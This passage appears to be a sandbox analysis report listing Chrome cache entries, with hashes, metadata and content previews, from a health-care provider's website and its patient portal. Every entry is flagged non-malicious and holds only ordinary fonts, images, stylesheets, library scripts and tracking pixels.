Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2) format('woff2');. unicode-range:

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2326
Entropy (8bit):	4.399207176213465
Encrypted:	false
SSDEEP:	48:cXSYtzV2HGsWn3eofU4f08Z7BsTSVIX44dFEiyYGjMWHiKFD:8VuGsWumB7OWeI4dzyYGjVt
MD5:	0CAB8314DDD102F5B8E655E64E8C66A8
SHA1:	87073850F5D5C7366781C48025A9068D1748E574
SHA-256:	80B0A3076C0A853E20C74FA062EAEB7EA1371C331274CD9437AFA9F093FC672D
SHA-512:	D226982EF8B27ADA77BA079D1FF07CB89FCD494EA0FDAD98FBA61CF890DA0E5EF8FBB5F8E05B86C5754C852AD108C443AAEB9C5F6F547136D12035A73E563D60
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon__service_1.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="70" height="70" viewBox="0 0 70 70" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Service</title>.<path opacity="0.15" fill-rule="evenodd" clip-rule="evenodd" d="M35.2384 69.4768C54.4239 69.4768 69.9768 53.9239 69.9768 34.7384C69.9768 15.5529 54.4239 0 35.2384 0C16.0529 0 0.5 15.5529 0.5 34.7384C0.5 53.9239 16.0529 69.4768 35.2384 69.4768Z" fill="#F3AB4F"/>.<path d="M27.0444 34.7047V40.1761C27.0444 42.8319 28.0629 45.395 29.9274 47.2847C31.8255 49.2081 34.3592 50.2687 37.0612 50.2687H37.9535C40.6302 50.2687 43.1429 49.2249 45.0368 47.3352C46.493 45.8789 47.4442 44.0524 47.8062 42.0658C47.116 42.3057 46.3962 42.4236 45.6555 42.4236C44.7632 42.4236 43.8962 42.2468 43.0839 41.9017C42.3853 44.0692 40.3525 45.6349 37.9535 45.6349H37.0612C34.0856 45.6349 31.674 43.2232 31.674 40.2477V34.7047C33.4838 34.2796 35.142 33.3537 36.4804 32.0028C38.3575 30.1088 39.3802 27.5331 39.3802 24.8689V21.0684C39.3802 20.4539 38.9425 19.9447 38

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	10022
Entropy (8bit):	4.655408377417056
Encrypted:	false
SSDEEP:	96:xvf7g1JY230Eb4hte0EDLOtx3rtbwDGcKsjwQ5kySwjsgU1RMmKosKxvleyfD2c0:hG8VttvjwjsrKaxv9k0r3o
MD5:	8B5B786A7374AC8EB29420A74BAAB08D
SHA1:	DCF8479D4724C81EC1E3686C99C8C9C70715B1B7
SHA-256:	F85E95886A42A11F03C5A5A28F997FF94A52D3953437B6E64EE41A4F8B600621
SHA-512:	AEE4B020AC8B31DE5608622C97250C6BC545AB0D2A021738077415837AF45A8FFA97B5F05DBD587886CB1FF904AFB86536A90DF90761D2CD741D661F1FB1C481
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/09/62_PCMH.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 170 170" enable-background="new 0 0 170 170" xml:space="preserve">.<path fill="#3B6E8E" d="M44.281,126.521c10.679,10.666,25.423,17.262,41.708,17.262c16.285,0,31.029-6.596,41.708-17.262H44.281z"/>.<path fill="#3B6E8E" d="M85.989,25.737c-32.597,0-59.023,26.426-59.023,59.023c0,3.374,0.287,6.681,0.831,9.899h29.56..c-0.934-2.926-1.441-6.041-1.441-9.277c0-16.844,13.656-30.5,30.501-30.5c16.845,0,30.499,13.656,30.499,30.5..c0,3.236-0.508,6.352-1.441,9.277h28.705c0.544-3.219,0.831-6.525,0.831-9.899C145.012,52.163,118.587,25.737,85.989,25.737"/>.<path fill="#A0B7CC" d="M28.925,94.659c-0.577-3.269-0.879-6.633-0.879-10.068c0-31.81,25.787-57.601,57.6-57.601..c31.812,0,57.6,25.79,57.6,57.601c0,3.436-0.303,6.8-0.879,10.068h2.429c0

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	4.556347672103115
Encrypted:	false
SSDEEP:	6:qLzLTAqJmW/HufFg6qvfNV4NhdxQCkRgUQQpAqJmrcPGeFwr52PYSF1d8Mg4Qb:XqJmW/m26qvfNV4NbxTHQuqJmrtr1MdY
MD5:	C364EB9947BE7E89D5F6879883B80147
SHA1:	223F71DC5C2CBD94F3D6222C176AF92033C2E55F
SHA-256:	5124B371E5C2E1ADB733955062A20C6F6055599BD836F1C583AB54267BADB101
SHA-512:	A352A367BB4C2F3C200246582B0D86EA09B5297181EC682B4B24FEE457A25A070301D72B7D1901F171D71091FCFB8A86654E4B6BE4D4E1C74E4E5F265D2CDBA0
Malicious:	false
Reputation:	low
URL:	https://insight.adsrvr.org/track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( [] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2251
Entropy (8bit):	7.888514697598933
Encrypted:	false
SSDEEP:	48:k82xKPLcgiF4ij6UFwMjRJwEpQfb8T1LnXcYMMjLsn+:k82MLc/aij6nURJl6b64TMh
MD5:	E50CA4F55C97A518E357E609D45E8053
SHA1:	929A966C4D0F2524F0C2E367BF6E279F30762D12
SHA-256:	A8F6BF05760609E5D2706EA48CD56224B82C2CC029B7DA5A70C7B74F0CCA3974
SHA-512:	C70E106A6730509BB1E51B50BBE521E9352CDBEA19878DC446609C4DAC768398F60A87C28527574B7F69101910233B5E5473BE95A755B233E6CC0FA142142B39
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/img/access-statements.png
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d.....IDAThC.{T.........cv..y.......Y.Ib.Brr.mCl...1m./..j.6'.....Q4Q.'... P...h...&....<..(.kwfg:wO.gYfwf...x.[..~......~..... w./.z`.E....ct.......3.,.....w..7$Sj.a....C..'......(.vi..qzp.T... .....0g...!.k.hQ...i..Cpf...b.>#...w..s{.N3...4~.J...,..0..4'....sV.<s5..(.R..............CQ........PL1..\.4..j....Hvt..$...P.Rl$5FR.5.F195.......'..#.......l5-;J9].KS...\|p.N.e.j...Y....0.4..6......Z.AA]...}..).....O..~............?.6.`..%.j..`.j.p.......u...u.............ns..~.(,\|...\.......w...y{...{8....._..TU.+bF....\..BBL.........MMf.%U.ag.x....$+.H.........q.'DKj..._...=.]..=.]Q.).`.#.G......'I9)B.Y.s.......9).........@.5....PU...V&KRN.....M..b)...a...}w..]g.A......1I.6../..\|..`.a.S.z..f......N.`.4b........Ti..6....^....&..I.(+...<..w}..N8x.V..= i[.<..z~m~./.yl...7.m&.".......).e%...Go+.l.k....D...1...<..Ii`>..r.....[.Z........]..H...l..Y.T..Zw./w....?k:..x~.)..g=.ETr...._.rb.(....mB.%...."...

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6684), with no line terminators
Category:	downloaded
Size (bytes):	6684
Entropy (8bit):	4.99986920418959
Encrypted:	false
SSDEEP:	96:CmhbkIyMKykjzNZn12dT2WkOBZji9HRQLwl8:CmhbkIyMKyk/NZn1G5kOHji9Gwe
MD5:	897494429019B7E3D6F7707A1BDA1082
SHA1:	A541F670833A91FB4EDB102A775A0FEBEE2FD3B9
SHA-256:	42A4591B3482CE8873F85976B96C2720D673642EDD25986CD5EAEB5BE6C8D1AF
SHA-512:	00E8B9E648EC5E0F9A386CB1D737EA0EA3C5E964A783613D97C804FC76734888771BDD1D27171E36F2364B65A0D4D62DD19D4C97F73B6A22E29D49ED0C685EE2
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942
Preview:	.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{flex-basis:12.125rem;padding:1rem!important}@media (min-width:576px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.25rem!important}}@media (min-width:768px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.5rem!important}}@media (min-width:992px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.75rem!important}}@media (min-width:1200px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:2rem!important}}.box-horizontal .single-post-preview__image-wrapper img,.box-horizontal .single-video img{margin-bottom:0!important;border-radius:.3125rem}.box-horizontal .single-post-preview__image-wrapper .play-icon-wrapper,.box-horizontal .single-video .play-icon-wrapper{width:2.625rem}@media (min-width:576px){.box-horizontal .single-post-preview__imag

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63188)
Category:	downloaded
Size (bytes):	63467
Entropy (8bit):	5.121172269745771
Encrypted:	false
SSDEEP:	768:0KD1OYYUhTVvO1Nn6u7MTLOarIkSsBAiAH0FcQ2K8FXsb6mH/3bz5vhCG:0G1T145KVdsXc/hhCG
MD5:	F0C2BCF5EF0C4476508D79EC9CDCCE07
SHA1:	3BEED68ED7D753C6BF4F61C26386DDD7929BA030
SHA-256:	EDD03B96AE4FF7886406C59D7DFEEAA1B624A7DA297BF2F92D0CB6B7F9633CBA
SHA-512:	5CA6BD1DE99DCB5522DCA486809760332625520D6033E4212FA7279724DEDAACCC0989B89C06753EC55EAD0CD34D7CE89D447E766B301EA8093EEC02AB531A02
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/bootstrap.min.js
Preview:	/!. Bootstrap v4.6.0 (https://getbootstrap.com/). * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var o=i(e),a=i(n);function s(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function l(t,e,n){return e&&s(t.prototype,e),n&&s(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.p

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2742)
Category:	downloaded
Size (bytes):	2787
Entropy (8bit):	5.282484642187527
Encrypted:	false
SSDEEP:	48:aGDep1Ju1IegYTIGHnzNsJRElwe8jah4+00+nFY0fajpEDu+Us0+ZgI/HY:n11DT3aRgtE24+00+ne0fYpIu+Us0+KR
MD5:	307ED9E95EB5AD5AFFA530A98A85A785
SHA1:	3556C3E3207EC916CFA5E0E2E4BCA503ED275F35
SHA-256:	B3ACB85AB5F6CB50750C09F5DD47A3DF0A329F47B9CED16C08FBA44A88630BEB
SHA-512:	01B293F3CA9DB6CCD745D0DFBC030B27DED4891EB8AC71C9DC31F6AC5AB564713A6AB91703F6DAB3D64497DD0AB8E54014F444E0614CC39D4A73BA21B8263A6F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0
Preview:	body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,sans-serif;margin:0}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace}.App_App__unHq2{text-align:center}.App_vp_container__rKawg{margin:0 auto;max-width:1400px;padding:0 30px}.App_vp_Total_Income_button__57r3r{align-items:center;background:#54a9ff;border-radius:50px;color:#fff;display:flex;font-weight:700;justify-content:right;margin-top:50px}.App_vp_Total_IncomeText__GqsEE{font-size:18px;margin-right:18px}.App_vp_Total_Calc__hTIAe{background:#00000040;border-radius:30px;font-size:22px;padding:10px 20px}.App_loader__vKuPI{font-weight:bolder;margin:25%;text-align:center}.Information_vp_container__FnAwZ{margin:0 auto;max-width:1400px;padding:0 30px}.Information_vp_select_heading__CEfWx{h2{border-bottom:1px solid #ddd;color:#0e1e4d;font-size:30px;font-weight:700;margin-top:30px;padding-bottom:12px;text-align:left;@media screen an

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	212
Entropy (8bit):	4.416621198484556
Encrypted:	false
SSDEEP:	3:QHvUmMVTHJ/JZK9cTOhwInRAWRMLI4V7l/0CrnchE7l/0jNrLBd9tEt9XxAXLGKR:Q8RLJ/JZKhRz74VmCwvj5BdzEt9hYnn
MD5:	DE3119F737AC997FBB853CF24E7025B5
SHA1:	4711567C238220FA6E2C6A688CDD12439E8EA583
SHA-256:	58EEFE25CFA84B97E375E5C4F98183330F8103E2A42E1775C1527C4BEFB77C18
SHA-512:	DB7B0907BF4E7F7BA61F7F5BAFD1F10D4A644B371B7641511FBD841605875AFF25E98CA237493A562EB9C57764966646F24892C660EF69FAE6B452E5C6AF768D
Malicious:	false
Reputation:	low
URL:	https://cdn.acsbapp.com/cache/app/wildcards.json
Preview:	[. "localtimeline.com",. "realpage.com",. "pgaresort.com",. "bambabamba.com",. "csvtesting.com",. "cloudfront.net",. "d2hmagdehyeygm.cloudfront.net",. "branchingminds.com",. "medicat.concerncenter.com".]

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	127
Entropy (8bit):	4.8845699999998375
Encrypted:	false
SSDEEP:	3:vFWWMNCmXyKgCC6beXqZj++auHcAbWWUAVMAB5TQBWRaWWU9KgqLn:TM3i0b9Zj7lHcLWtpTQgRdWBg6n
MD5:	6A9927369A243C4B4361B4C488649F02
SHA1:	6CF22A7F474695A7B02C4F8E6BBE35B2441C8EB2
SHA-256:	BDE9C2949E64D059C18D8F93566A64DAFC6D2E8E259A70322FB804831DFD0B5B
SHA-512:	0C73ECD0294C6ABDAD930DE5EF3F3595C8857E9D1FD3579A79B9C79BF0E7A75CB67EA54D22B7263163D48565BD4093915E97FD473E8357AA4F936C63BFEBAD0D
Malicious:	false
Reputation:	low
URL:	https://cdn.acsbapp.com/config/valleyprohealth.org/config.json
Preview:	<?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	4.416621198484556
Encrypted:	false
SSDEEP:	3:QHvUmMVTHJ/JZK9cTOhwInRAWRMLI4V7l/0CrnchE7l/0jNrLBd9tEt9XxAXLGKR:Q8RLJ/JZKhRz74VmCwvj5BdzEt9hYnn
MD5:	DE3119F737AC997FBB853CF24E7025B5
SHA1:	4711567C238220FA6E2C6A688CDD12439E8EA583
SHA-256:	58EEFE25CFA84B97E375E5C4F98183330F8103E2A42E1775C1527C4BEFB77C18
SHA-512:	DB7B0907BF4E7F7BA61F7F5BAFD1F10D4A644B371B7641511FBD841605875AFF25E98CA237493A562EB9C57764966646F24892C660EF69FAE6B452E5C6AF768D
Malicious:	false
Reputation:	low
Preview:	[. "localtimeline.com",. "realpage.com",. "pgaresort.com",. "bambabamba.com",. "csvtesting.com",. "cloudfront.net",. "d2hmagdehyeygm.cloudfront.net",. "branchingminds.com",. "medicat.concerncenter.com".]

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32001)
Category:	downloaded
Size (bytes):	45479
Entropy (8bit):	5.420370361702125
Encrypted:	false
SSDEEP:	768:QAGHCAGHHQO8nAAe1l6bV6JUOxOyywsvQm77xjBFQ/Sx1iJb2G:QAGHCAGHke26JUOxOOUjBa
MD5:	42A368E95B4A38989C8984C672D29EC0
SHA1:	70B2B29B138B9DDCDCBB58BD5D825F780EADCDFA
SHA-256:	FD8027B53A97CBD5782E85C5908E563C39776703FF9279F50658E630927B4167
SHA-512:	DA12259367CBF8D3479142DEF6019D99AFD3E6F49893CD14E6DBC0152CB7746125F170F88768BA7EB42F1EFE41F9B9BF22D9A2F2727A92B01C8F915615C0468A
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/jquery.mCustomScrollbar.concat.min.js
Preview:	/* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) /.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1l)),0!==m\|\|0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j=q,m=q,l=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j=r,m=r,l=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f\|\|f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6684), with no line terminators
Category:	downloaded
Size (bytes):	6684
Entropy (8bit):	4.99986920418959
Encrypted:	false
SSDEEP:	96:CmhbkIyMKykjzNZn12dT2WkOBZji9HRQLwl8:CmhbkIyMKyk/NZn1G5kOHji9Gwe
MD5:	897494429019B7E3D6F7707A1BDA1082
SHA1:	A541F670833A91FB4EDB102A775A0FEBEE2FD3B9
SHA-256:	42A4591B3482CE8873F85976B96C2720D673642EDD25986CD5EAEB5BE6C8D1AF
SHA-512:	00E8B9E648EC5E0F9A386CB1D737EA0EA3C5E964A783613D97C804FC76734888771BDD1D27171E36F2364B65A0D4D62DD19D4C97F73B6A22E29D49ED0C685EE2
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942
Preview:	.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{flex-basis:12.125rem;padding:1rem!important}@media (min-width:576px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.25rem!important}}@media (min-width:768px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.5rem!important}}@media (min-width:992px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.75rem!important}}@media (min-width:1200px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:2rem!important}}.box-horizontal .single-post-preview__image-wrapper img,.box-horizontal .single-video img{margin-bottom:0!important;border-radius:.3125rem}.box-horizontal .single-post-preview__image-wrapper .play-icon-wrapper,.box-horizontal .single-video .play-icon-wrapper{width:2.625rem}@media (min-width:576px){.box-horizontal .single-post-preview__imag

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/rubicon?gdpr=0
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56412), with no line terminators
Category:	downloaded
Size (bytes):	56412
Entropy (8bit):	5.907540404138125
Encrypted:	false
SSDEEP:	768:+LUmmAWTe2uXYp8Mi+yKYlebyBblxRx54PHSGdXXwW7MFWwXVuE2:4UcW6v+0BbchXwW49z2
MD5:	2C00B9F417B688224937053CD0C284A5
SHA1:	17B4C18EBC129055DD25F214C3F11E03E9DF2D82
SHA-256:	1E754B107428162C65A26D399B66DB3DAAEA09616BF8620D9DE4BC689CE48EED
SHA-512:	8DC644D4C8E6DA600C751975AC4A9E620E26179167A4021DDB1DA81B452ECF420E459DD1C23D1F2E177685B4E1006DBC5C8736024C447D0FF65F75838A785F57
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css
Preview:	.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}.recaptcha-checkbox{border:none;font-size:1px;height:28px;margin:4px;width:28px;overflow:visible;outline:0;vertical-align:text-bottom}.recaptcha-checkbox-border{-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background-color:#fff;border:2px solid #c1c1c1;font-size:1px;height:24px;position:absolute;width:24px;z-index:1}.recaptcha-checkbox-borderAnimation{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZRV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNixFhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvTPee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexI

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1053
Entropy (8bit):	7.756720724907772
Encrypted:	false
SSDEEP:	24:/a6ItAWSdgmPntxjCoLEs24VyQlXI1PSvEat0Vk2EO0vfYS3l:i66AWsLPEsuT1aZRFHvQS3l
MD5:	DD45D75F398654AC976FE7E0924732CF
SHA1:	E17F4D34CAD5997A42DAACC4301747F6DEB1AA43
SHA-256:	281A4AFA0686C5E3B70F560D07FE1E786CA76B3F08FDFF69841564AB229E2AB9
SHA-512:	BC7A471CC96F28FAAD3CB9BA33B12A99869AD608F2BA3EF11EABC88984493F24D27B4160A218A92E459A56F8B003651EAF22FEF7E15EF8DF9B90391A0633487E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............i.M.....IDATx.._h.U..O.....R.b.}....Iff...;......!Z((R,BA...[...>...`..(..'..dSA.V..yi....t;3.v.1..M2..H.....K...w.#..,7..v...........xP'"...oZ..l.a.....g.\|..d...................Q(.k.q.+.Sy.p.3.?..E) [K.......4...z...q..p......@n..h).i...>.F.....\..>.~.^h.$.9.......Y.F>\|..._....`...-.g...yx.:b....'...`.U.G..6.^8..d..H.y.v..+... .b'..%.......x....b..g.U.s.'}..ZO.]x.V....<S..d.....6.......~.$.........R.........$'..k=.R}..\H..B .$.j.J....q.7x..{.r..f....g..?...,..{....).Z....}..n..~'.F2n.P.....?.....B.C={8W..c.z."W?.N 1S;...N.c..pc...g..G9i-..*r.`._.m..c....r..a.....npa$...I.#(...{...q..=..<.w.!......tteZ9..{Q....z.s+3.(/...W......6..8....>.z....FF...Ii..p.r.G...............t@.".......s......]..Q+(...Y..\.I.G<W.R.p.Wf....o.....U..W....f.R2.....R..lRl`..V...."..v.fq.\|.$.h...H..F.y.L.....!t.b..2A\|..........\|.p..............:.o.bx..R.......a.......g..I.c ...i."..gNU.},....70^.@....f.......H..m.t..G...7..Q..n.._g ..a.y.%

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17683)
Category:	downloaded
Size (bytes):	18278
Entropy (8bit):	5.623496272234338
Encrypted:	false
SSDEEP:	384:6CVlOu+6ONczau5v4yDb44f5wMZI/P+teaexfDIcrnOY4wb:6O+gt4yDbvf5wsIBaezrnOYtb
MD5:	7D07C2BBCB789E8A63340B6F449416E0
SHA1:	44856381D2A46155517776ADBB8B21B5EFE41FFD
SHA-256:	E892BB3E48503E380678166AC87282496B89283E5926617F93398FF50955D436
SHA-512:	6530BC8A5E56FEE5546CF6A3797D9EF0769A18DC92424E82273E80F39F29B79E905B3C8B65DE6B791EE466D502477D3CFEDD7139D917F3A9E4BA73F8562A4515
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var R=this\|\|self,L=function(n){return n},D=function(n,Y){if(!(Y=(n=null,R.trustedTypes),Y)\|\|!Y.createPolicy)return n;try{n=Y.createPolicy("bg",{createHTML:L,createScript:L,createScriptURL:L})}catch(d){R.console&&R.console.error(d.message)}return n};(0,eval)(function(n,Y){return(Y=D())&&1===n.eval(Y.createScript("1"))?function(d){return Y.createScript(d)}:function(d){return""+d}}(R)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var nW=function(n,Y){return Y=0,function(){return Y<n.length?{done:false,value:n[Y++]}:{done:true}}},YK=function(n,Y){return(n=n.create().shift(),Y.A).create().length\|\|Y.C.create().length\|\|(Y.A=void 0,Y.C=void 0),n},d4=function(n,Y){function R(){this.I=(this.n=0,[])}return[function(L){n.iS(L),Y.iS(L)},(Y=(R.prototype.dX=(R.prototype.iS=function(L,m){(this.n++,50)>this.I.length?this.I.push(L):(m=Math.f

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (681)
Category:	downloaded
Size (bytes):	5732
Entropy (8bit):	5.599161816192435
Encrypted:	false
SSDEEP:	96:2F/LbsaIRhghfYV24xQ5DusFiRw9ZRVAAelg:k/LbsaIRhghsr8FiRgPYg
MD5:	00E7963B92387D2483EBE810F453D32E
SHA1:	BDCDE0805E6A1DBC1513E1365486AD7EAD26DE38
SHA-256:	306A340D77C015BEBD34348E2DF7636595F40E1FC50273D1A4CBA9321D5E82CE
